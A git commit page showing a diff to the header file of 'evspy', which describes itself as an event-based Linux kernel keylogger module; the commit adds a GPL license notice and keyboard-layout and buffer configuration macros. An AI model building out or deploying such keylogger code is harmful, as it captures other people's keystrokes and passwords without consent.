diff options
author | Guillermo Ramos | 2011-09-19 01:00:27 +0200 |
---|---|---|
committer | Guillermo Ramos | 2011-09-19 01:00:27 +0200 |
commit | 68459ada2db3d8626b1957e220a9abe8aff6c1e3 (patch) | |
tree | b7a07d789b37d2d9dcab5c7b94c41241347896d4 /evspy-core.h | |
parent | 974a8595ed3c09ccef62df7e3748baddb9038d8e (diff) | |
download | evspy-68459ada2db3d8626b1957e220a9abe8aff6c1e3.tar.gz |
Added license and done a little cleanup of code
Diffstat (limited to 'evspy-core.h')
-rw-r--r-- | evspy-core.h | 30 |
1 files changed, 28 insertions, 2 deletions
diff --git a/evspy-core.h b/evspy-core.h index 97e9660..03ade62 100644 --- a/evspy-core.h +++ b/evspy-core.h @@ -1,3 +1,25 @@ +/* + * evspy - event based keylogger (Linux module) + * + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + * + * This file is part of evspy + * + * evspy is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * evspy is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with evspy. If not, see <http://www.gnu.org/licenses/>. + */ + #include <linux/cred.h> #include <linux/init.h> #include <linux/input.h> @@ -8,10 +30,14 @@ #include <linux/stat.h> #include <linux/string.h> #include <asm/page.h> -#include "khashmap/khashmap.h" +#include "khm/khm.h" + +// Keyboard layouts +#define EVS_KLAY_EN 0 +#define EVS_KLAY_ES 1 #define EVS_NAME "evspy" // driver name -#define EVS_KLAY EVS_KLAY_EN // change this to your keyboard layout +#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout #define EVS_TROLL 1 // clear this if you're a serious guy #define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) #define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc |